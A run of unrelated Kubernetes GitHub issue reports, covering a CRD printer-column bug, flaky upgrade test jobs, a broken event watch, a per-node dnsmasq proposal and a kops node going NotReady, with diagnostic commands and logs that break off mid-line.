is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r create a crd:\r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: foos.samplecontroller.k8s.io\r spec:\r   group: samplecontroller.k8s.io\r   version: v1alpha1\r   names:\r     kind: foo\r     plural: foos\r   scope: namespaced\r   validation:\r     openapiv3schema:\r       properties:\r         spec:\r           properties:\r             replicas:\r               type: integer\r               minimum: 1\r               maximum: 10\r   additionalprintercolumns:\r   - name: replicas\r     type: integer\r     jsonpath: .spec.replicas\r     priority: 1\r    \r and then its instance:\r    yaml\r apiversion: samplecontroller.k8s.io/v1alpha1\r kind: foo\r metadata:\r   name: example-foo\r spec:\r   deploymentname: example-foo\r   replicas: 1\r    \r \r invoking  kubectl get foos.samplecontroller.k8s.io  will return only the  name  column omitting the  additionalprintercolumns  that have  priority  set to a value > 0. \r \r invoking  kubectl get foos.samplecontroller.k8s.io -o wide  will return all the columns properly.\r \r the culprit lies here: https://github.com/kubernetes/kubernetes/blob/23cd1434e69c1a984e8c24c875c19ccbdd0ba2fe/pkg/printers/humanreadable.go l351 we should probably calculate the number of columns and only after exceeding some limit print those with lower priority.\r \r /cc @sttts

the following upgrade these have been super-flaky, failing an average of 7 out of 8 runs for at least the last 3 months:\r \r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r given this, it's hard to consider these blocking tests.  questions:\r \r   who owns these jobs?\r   do we want to retain any of these jobs in master-upgrade blocking , and if so, who is going to de-flake them?\r   if we're removing these jobs from master-upgrade, do we want to continue running them at all?\r   if we remove them, are there major areas of upgrade functionality that aren't being tested?\r \r      / \r attn:\r @aishsundar\r @timothysc\r @spiffxp

when running the following command on a gke cluster with version 1.12.6-gke.10 we see the last events, but no new events are ever printed after that:\r \r     kubectl get events -w\r \r even if we forcibly delete a pod in that same namespace, for example, nothing is printed. if we set up a watch client with go in a pod in the cluster then it doesn't receive any events beyond the initial ones either.

bind dnsmasq on every node to cbr0 ip and point the containers resolve.conf to cbr0 instead of kube-dns. setup a dnsmasq.conf like:       listen on container interface listen-address=0.0.0.0 interface=eth0 interface=cbr0 user=root   only use these namesservers no-resolv server=/svc.cluster.local/10.0.0.10 server=8.8.4.4 server=8.8.8.8   static entries address=/foo.bar/10.0.0.3  log-queries  log-facility=/tmp/dnsmasq.log      at least 2 reasons to consider this:  - external lookups won't fail if kube-dns/endpoint controller/kube-proxy are down - internal lookups will fail fast. from: http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html, by default, dnsmasq will send queries to any of the upstream servers it knows about and tries to favour servers that are known to be up.   as an added bonus, we can expose dnsmasq caching/ttl options through a configmap lookups get served from the same node.      eg  normal svc lookup with dnsmasq      root@dnsutils:/  nslookup echoheadersx.default server:     10.180.1.1 address:    10.180.1.1 53  name:   echoheadersx.default.svc.cluster.local address: 10.0.14.169      logs      sep 14 23:06:49 dnsmasq 278 : query a  echoheadersx.default.default.svc.cluster.local from 10.180.1.225 sep 14 23:06:49 dnsmasq 278 : forwarded echoheadersx.default.default.svc.cluster.local to 10.0.0.10 sep 14 23:06:49 dnsmasq 278 : reply echoheadersx.default.default.svc.cluster.local is nxdomain sep 14 23:06:49 dnsmasq 278 : query a  echoheadersx.default.svc.cluster.local from 10.180.1.225 sep 14 23:06:49 dnsmasq 278 : forwarded echoheadersx.default.svc.cluster.local to 10.0.0.10 sep 14 23:06:49 dnsmasq 278 : reply echoheadersx.default.svc.cluster.local is 10.0.14.169      kill kube-dns      $ kubectl scale kube-dns-v19 --replicas=0      redo the lookup, it returns in a second      root@dnsutils:/  nslookup echoheadersx.default server:     10.180.1.1 address:    10.180.1.1 53     server can't find echoheadersx.default: nxdomain      logs      sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default.default.svc.cluster.local from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default.svc.cluster.local from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default.cluster.local from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : forwarded echoheadersx.default.cluster.local to 8.8.8.8 sep 14 23:07:57 dnsmasq 290 : forwarded echoheadersx.default.cluster.local to 8.8.4.4 sep 14 23:07:57 dnsmasq 290 : reply echoheadersx.default.cluster.local is nxdomain sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default.google.internal from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : forwarded echoheadersx.default.google.internal to 8.8.8.8 sep 14 23:07:57 dnsmasq 290 : reply echoheadersx.default.google.internal is nxdomain sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default.c.kubernetesdev.internal from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : forwarded echoheadersx.default.c.kubernetesdev.internal to 8.8.8.8 sep 14 23:07:57 dnsmasq 290 : reply echoheadersx.default.c.kubernetesdev.internal is nxdomain sep 14 23:07:57 dnsmasq 290 : query a  echoheadersx.default from 10.180.1.225 sep 14 23:07:57 dnsmasq 290 : forwarded echoheadersx.default to 8.8.8.8 sep 14 23:07:57 dnsmasq 290 : reply echoheadersx.default is nxdomain      but on another host the same lookup takes 15s to fail:       $ root@dnsutils2:/  dig +showsearch echoheaders.default  ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;; global options: +cmd ;; connection timed out; no servers could be reached      a tcpdump shows that we retry thrice with a 5s timeout:       root@e2e-test-beeps-minion-group-iwp2:~  tcpdump -i cbr0 | grep -i google tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on cbr0, link-type en10mb  ethernet , capture size 262144 bytes 22:18:56.278326 ip 10.180.0.134.56072 > 10.0.0.10.domain: 713+ a? google.com.default.svc.cluster.local.  54  22:19:01.278432 ip 10.180.0.134.56072 > 10.0.0.10.domain: 713+ a? google.com.default.svc.cluster.local.  54  22:19:06.278565 ip 10.180.0.134.56072 > 10.0.0.10.domain: 713+ a? google.com.default.svc.cluster.local.  54       @kubernetes/sig-network

gci test failing:  kubernetes-e2e-gci-gce-scalability-release-1.4   overall   https://k8s-testgrid.appspot.com/google-gce gci-gce-scalability-release-1.4  it looks like the tests aren't even coming up, compared to https://k8s-testgrid.appspot.com/google-gce gce-scalability-release-1.4

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?  : unknown, pending, node lost pods\r \r ---\r \r   is this a bug report or feature request?    bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  : \r   linux ip-172-40-8-45 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r   \r -   install tools  : kops 1.5.3\r -   others  : none\r \r \r   what happened  : we run a couple of testing environments where we have a setup of a single master and node instance running on   t2.medium  . one specific environment keeps 'dying' for no apparent reason after a couple of weeks. this environment is the exact same as one of the other environments which has had no issues.\r \r eventually all pods  on that node  receive the status of   unknown  ,   pending   or   node lost  . this is what the output looks like for two pods that have a deployment with a single replica.\r    \r name                                         ready     status    restarts   age\r pod_a-2214002438-8dbwd                        1/1       unknown   0          3h\r pod_a-2214002438-bs69n                        1/1       unknown   0          3h\r pod_a-2214002438-dvwsd                        0/1       pending   0          2h\r pod_a-2214002438-xp06l                        1/1       unknown   1          3h\r pod_a-2214002438-zwm70                        1/1       unknown   0          3h\r pod_a-2214002438-zxvrh                        0/1       unknown   0          2h\r pod_b-1848106455-ljvtc                        1/1       unknown   0          9d\r pod_b-1848106455-p6bd4                        0/1       pending   0          2h\r pod_b-1848106455-zfvmz                        0/1       unknown   0          2h\r \r \r firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r ---------     --------        -----   ----                    -------------   --------        ------                  -------\r 2h            15s             561     default-scheduler                       warning         failedscheduling        pod  pod_a-2214002438-dvwsd  failed to fit in any node\r    \r \r all pods on the master seem to be running fine  in the kube-system namespace , but none on the node are running. moreover the node is in a   notready   state displaying the following error:\r    \r   firstseen     lastseen        count   from                                                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                                                    -------------   --------        ------                  -------\r   2h            2m              54      kubelet, ip-172-40-8-45.eu-west-1.compute.internal                      warning         containergcfailed       operation timeout: context deadline exceeded\r    \r \r \r   what you expected to happen  : pods to run without scheduling issues .\r \r \r   how to reproduce it  : unfortunately we've not been able to reproduce it ourselves, but it has happened regularly every few weeks.\r \r \r   anything else we need to know  :   docker ps   hangs, if we terminate the node and launch a new one the issue resolves itself. i'm also unable to delete the pods  even with --force and --grace-period \r \r node - docker info\r    \r root@ip-172-40-8-45:/home/admin  sudo docker info\r containers: 93\r  running: 64\r  paused: 0\r  stopped: 29\r images: 61\r server version: 1.12.3\r storage driver: overlay\r  backing filesystem: extfs\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: null host bridge overlay\r swarm: inactive\r runtimes: runc\r default runtime: runc\r security options:\r kernel version: 4.4.41-k8s\r operating system: debian gnu/linux 8  jessie \r ostype: linux\r architecture: x86_64\r cpus: 2\r total memory: 3.862 gib\r name: ip-172-40-8-45\r id: ifq5:acbo:dbm5:ufhr:y7gr:wpjz:fsbs:vrqs:yaph:ywvc:lu4n:vrxn\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r warning: no swap limit support\r warning: no kernel memory limit support\r insecure registries:\r  127.0.0.0/8\r    \r \r node - journalctl logs around the time of errors starting  and slightly leading up to \r    \r -\r may 24 10:51:25 ip-172-40-8-45 kernel: ipv6: eth0: ipv6 duplicate address fe80::d43d:92ff:fea7:771f detected!\r may 24 10:51:26 ip-172-40-8-45 kubelet 1176 : i0524 10:51:26.108872    1176 docker_manager.go:1970  need to restart pod infra container for \ pod-worker-2514228862-vdv81_default ee9d8b63-406e\r may 24 10:51:26 ip-172-40-8-45 kernel: device vethwepl18f19c2 entered promiscuous mode\r may 24 10:51:26 ip-172-40-8-45 kernel: eth0: renamed from vethwepg18f19c2\r may 24 10:51:26 ip-172-40-8-45 kernel: ipv6: addrconf netdev_up : vethwepl18f19c2: link is not ready\r may 24 10:51:26 ip-172-40-8-45 kernel: ipv6: addrconf netdev_change : vethwepl18f19c2: link becomes ready\r may 24 10:51:26 ip-172-40-8-45 kernel: weave: port 29 vethwepl18f19c2  entered forwarding state\r may 24 10:51:26 ip-172-40-8-45 kernel: weave: port 29 vethwepl18f19c2  entered forwarding state\r may 24 10:51:26 ip-172-40-8-45 kubelet 1176 : i0524 10:51:26.560202    1176 docker_manager.go:2231  determined pod ip after infra change: \ pod-worker-2514228862-vdv81_default ee9d8b63-406e-1\r may 24 10:51:26 ip-172-40-8-45 dockerd 983 : time=\ 2017-05-24t10:51:26.561047780z\  level=error msg=\ handler for get /v1.24/images/org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c/json\r may 24 10:51:26 ip-172-40-8-45 kubelet 1176 : i0524 10:51:26.759370    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-2514228862-vdv81_default ee9d8b63-406e-11e7-8a51-025e8008d7f6 \ , eve\r may 24 10:51:27 ip-172-40-8-45 kubelet 1176 : i0524 10:51:27.092425    1176 fshandler.go:131  du and find on following dirs took 1.78804185s:  /var/lib/docker/overlay/6cdfb085108da826287728c33a7eedb191\r may 24 10:51:27 ip-172-40-8-45 kernel: ipv6: eth0: ipv6 duplicate address fe80::bca1:9dff:fe4b:90a9 detected!\r may 24 10:51:28 ip-172-40-8-45 kubelet 1176 : i0524 10:51:28.163047    1176 aws.go:901  could not determine public ip from aws metadata.\r may 24 10:51:28 ip-172-40-8-45 kubelet 1176 : i0524 10:51:28.814392    1176 kube_docker_client.go:331  stop pulling image \ org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c\ : \ status:\r may 24 10:51:29 ip-172-40-8-45 ntpd 946 : listen normally on 240 vethwepl8668c73 fe80::8460:52ff:fe80:cbfc udp 123\r may 24 10:51:29 ip-172-40-8-45 ntpd 946 : listen normally on 241 vethwepl074f16b fe80::4054:a4ff:fe39:2bce udp 123\r may 24 10:51:29 ip-172-40-8-45 ntpd 946 : listen normally on 242 vethwepl18f19c2 fe80::94f1:32ff:fe84:7d63 udp 123\r may 24 10:51:29 ip-172-40-8-45 ntpd 946 : listen normally on 243 vethwepl0bae35c fe80::b07d:37ff:fe36:5e7f udp 123\r may 24 10:51:29 ip-172-40-8-45 ntpd 946 : peers refreshed\r may 24 10:51:29 ip-172-40-8-45 kubelet 1176 : i0524 10:51:29.818815    1176 kubelet.go:1816  syncloop  pleg : \ pod-2214002438-bs69n_default ecefd581-406e-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:51:29 ip-172-40-8-45 kubelet 1176 : i0524 10:51:29.864214    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ecefd581-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:29 ip-172-40-8-45 kubelet 1176 : i0524 10:51:29.902046    1176 kube_docker_client.go:331  stop pulling image \ org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c\ : \ status:\r may 24 10:51:30 ip-172-40-8-45 kubelet 1176 : i0524 10:51:30.231218    1176 server.go:740  get /metrics:  140.797806ms  200   prometheus/1.6.0  10.32.0.15:60414 \r may 24 10:51:30 ip-172-40-8-45 kubelet 1176 : i0524 10:51:30.858106    1176 kubelet.go:1816  syncloop  pleg : \ pod-3164921779-3nbxv_default edc9b41a-406e-11e7-8a51-025e8008d7f6 \ , event\r may 24 10:51:30 ip-172-40-8-45 kubelet 1176 : i0524 10:51:30.908848    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/edc9b41a-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:30 ip-172-40-8-45 kubelet 1176 : i0524 10:51:30.909072    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ecefd581-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:31 ip-172-40-8-45 kubelet 1176 : i0524 10:51:31.151895    1176 kube_docker_client.go:331  stop pulling image \ org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c\ : \ status:\r may 24 10:51:31 ip-172-40-8-45 kubelet 1176 : i0524 10:51:31.971291    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-1190971141-2cdbk_default ee35d65f-406e-11e7-8a51-025e8008d7f6 \ ,\r may 24 10:51:32 ip-172-40-8-45 kubelet 1176 : i0524 10:51:32.162900    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/edc9b41a-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:32 ip-172-40-8-45 kubelet 1176 : i0524 10:51:32.181824    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ee35d65f-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:32 ip-172-40-8-45 kubelet 1176 : i0524 10:51:32.438310    1176 fshandler.go:131  du and find on following dirs took 1.016085979s:  /var/lib/docker/overlay/5176876aec4f79b79f72563b2cb388ee6\r may 24 10:51:32 ip-172-40-8-45 kubelet 1176 : i0524 10:51:32.484580    1176 kube_docker_client.go:331  stop pulling image \ org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c\ : \ status:\r may 24 10:51:33 ip-172-40-8-45 kubelet 1176 : i0524 10:51:33.024936    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-2514228862-vdv81_default ee9d8b63-406e-11e7-8a51-025e8008d7f6 \ , eve\r may 24 10:51:33 ip-172-40-8-45 kubelet 1176 : i0524 10:51:33.125838    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ee9d8b63-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:33 ip-172-40-8-45 kubelet 1176 : i0524 10:51:33.126019    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ee35d65f-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:34 ip-172-40-8-45 kubelet 1176 : i0524 10:51:34.127361    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ee9d8b63-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:34 ip-172-40-8-45 kubelet 1176 : i0524 10:51:34.240386    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9d6378a3-35b2-11e7-8a51-025e8008d7f6-\r may 24 10:51:34 ip-172-40-8-45 kubelet 1176 : i0524 10:51:34.351876    1176 fshandler.go:131  du and find on following dirs took 2.066941667s:  /var/lib/docker/overlay/0034bbc2cb7eba40ce40550124f3323d1\r may 24 10:51:37 ip-172-40-8-45 kubelet 1176 : i0524 10:51:37.152087    1176 kubelet.go:1816  syncloop  pleg : \ pod-2214002438-bs69n_default ecefd581-406e-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:51:37 ip-172-40-8-45 kubelet 1176 : i0524 10:51:37.257798    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ecefd581-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:38 ip-172-40-8-45 kubelet 1176 : i0524 10:51:38.202189    1176 aws.go:901  could not determine public ip from aws metadata.\r may 24 10:51:38 ip-172-40-8-45 kubelet 1176 : i0524 10:51:38.272650    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/0592b069-395e-11e7-8a51-025e8008d7f6-\r may 24 10:51:38 ip-172-40-8-45 kubelet 1176 : i0524 10:51:38.588662    1176 kube_docker_client.go:331  stop pulling image \ org/pod:1f752023837affe9e0aa181d66bd9ae7f557861c\ : \ status:\r may 24 10:51:38 ip-172-40-8-45 kernel: weave: port 26 vethwepl8668c73  entered forwarding state\r may 24 10:51:39 ip-172-40-8-45 kubelet 1176 : i0524 10:51:39.265110    1176 kubelet.go:1816  syncloop  pleg : \ pod-2214002438-bs69n_default ecefd581-406e-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:51:39 ip-172-40-8-45 kubelet 1176 : i0524 10:51:39.307254    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/5b1fbcdb-3a41-11e7-8a51-025e8008d7f6-\r may 24 10:51:39 ip-172-40-8-45 kubelet 1176 : i0524 10:51:39.407124    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/ecefd581-406e-11e7-8a51-025e8008d7f6-\r may 24 10:51:39 ip-172-40-8-45 kernel: weave: port 27 vethwepl0bae35c  entered forwarding state\r may 24 10:51:40 ip-172-40-8-45 kernel: weave: port 28 vethwepl074f16b  entered forwarding state\r may 24 10:51:41 ip-172-40-8-45 kernel: weave: port 29 vethwepl18f19c2  entered forwarding state\r may 24 10:51:41 ip-172-40-8-45 kubelet 1176 : i0524 10:51:41.971972    1176 fshandler.go:131  du and find on following dirs took 2.215228282s:  /var/lib/docker/overlay/15ce002ebd19353fb23aea80ef2127154\r may 24 10:51:43 ip-172-40-8-45 kubelet 1176 : i0524 10:51:42.903862    1176 server.go:740  get /metrics:  1.548099334s  200   prometheus/1.6.0  10.32.0.15:60600 \r may 24 10:51:54 ip-172-40-8-45 systemd-udevd 9957 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 10176 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 10177 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 9957 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  9961 \r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 9956 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 10000 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 9957 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  9961  terminated by signal 9  killed \r may 24 10:51:56 ip-172-40-8-45 systemd-udevd 9957 : timeout 'bridge-network-interface'\r may 24 10:51:57 ip-172-40-8-45 systemd-udevd 10176 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10178 \r may 24 10:51:57 ip-172-40-8-45 systemd-udevd 9956 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10079 \r may 24 10:51:57 ip-172-40-8-45 systemd-udevd 10176 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10178  terminated by signal 9  killed \r may 24 10:51:57 ip-172-40-8-45 systemd-udevd 10177 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10190 \r may 24 10:52:06 ip-172-40-8-45 systemd-udevd 9956 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10079  terminated by signal 9  killed \r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10177 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10190  terminated by signal 9  killed \r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10000 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10080 \r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9957 : timeout: killing 'bridge-network-interface'  10931 \r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9957 : timeout 'net.agent'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10291 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10176 : timeout 'bridge-network-interface'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9956 : timeout 'bridge-network-interface'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9956 : timeout 'net.agent'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10000 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10080  terminated by signal 9  killed \r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10290 : timeout '/etc/sysconfig/network-scripts/ec2net.hotplug'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9957 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepl8668c73 --prefix=/proc/sys/net/ipv4/neigh/vethwepl8668c73 --prefix=/pro\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10176 : timeout 'net.agent'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10176 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepg074f16b --prefix=/proc/sys/net/ipv4/neigh/vethwepg074f16b --prefix=/pr\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 9956 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepg0bae35c --prefix=/proc/sys/net/ipv4/neigh/vethwepg0bae35c --prefix=/pro\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10000 : timeout 'bridge-network-interface'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10000 : timeout 'net.agent'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10177 : timeout 'bridge-network-interface'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10177 : timeout 'net.agent'\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10000 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepl0bae35c --prefix=/proc/sys/net/ipv4/neigh/vethwepl0bae35c --prefix=/pr\r may 24 10:52:07 ip-172-40-8-45 systemd-udevd 10177 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepl074f16b --prefix=/proc/sys/net/ipv4/neigh/vethwepl074f16b --prefix=/pr\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:06.709297    1176 helpers.go:101  unable to get network stats from pid 24168: couldn't read network stats: failure opening /proc/24168/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:06.709615    1176 helpers.go:101  unable to get network stats from pid 20398: couldn't read network stats: failure opening /proc/20398/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:06.239117    1176 helpers.go:101  unable to get network stats from pid 22753: couldn't read network stats: failure opening /proc/22753/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:06.235267    1176 helpers.go:101  unable to get network stats from pid 23211: couldn't read network stats: failure opening /proc/23211/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:06.877315    1176 helpers.go:101  unable to get network stats from pid 23079: couldn't read network stats: failure opening /proc/23079/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.588786    1176 prober.go:106  liveness probe for \ pod-4186963384-0dmrv_default e34b33c3-406a-11e7-8a51-025e8008d7f6 :pod\  failed  failure \r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.612002    1176 prober.go:106  liveness probe for \ pod-1848106455-ljvtc_default 0592b069-395e-11e7-8a51-025e8008d7f6 :pod\  failed  fa\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.663511    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.511072    1176 prober.go:106  liveness probe for \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 :pod\  failed  failure \r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.683360    1176 prober.go:106  liveness probe for \ pod-4186963384-k2bnw_default 804aebba-3fd5-11e7-8a51-025e8008d7f6 :pod\  failed  failure \r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.797936    1176 prober.go:106  liveness probe for \ weave-net-0gkqh_kube-system c3f9ff44-35b1-11e7-8a51-025e8008d7f6 :weave\  failed  failure :\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.897634    1176 helpers.go:101  unable to get network stats from pid 20398: couldn't read network stats: failure opening /proc/20398/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.898481    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.911396    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.917502    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : i0524 10:52:07.965493    1176 helpers.go:101  unable to get network stats from pid 22888: couldn't read network stats: failure opening /proc/22888/net/dev:\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.969141    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : w0524 10:52:07.969747    1176 conversion.go:110  could not get instant cpu stats: time delta unexpectedly small\r may 24 10:52:07 ip-172-40-8-45 kubelet 1176 : e0524 10:52:07.970129    1176 summary.go:70  partial failure issuing getcontainerinfov2: partial failures:  \ /docker/2e7b541e48cc89527fda2aefd7b2970dd4d327\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.031961    1176 docker_manager.go:1600  container \ 2967cf923c0d8f17cb70ec1a1c92854f8db8d871f267f966b904711ae6105225 default/pod-4186963\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.199913    1176 docker_manager.go:1600  container \ 2db5ea11663d451787046282e205464d47e0798ac9f35b34ec18b4a269079b7b pod defau\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.200293    1176 docker_manager.go:1600  container \ 2e7b541e48cc89527fda2aefd7b2970dd4d327481254b11a569cdf7573269e21 default/pod-4186963\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.200417 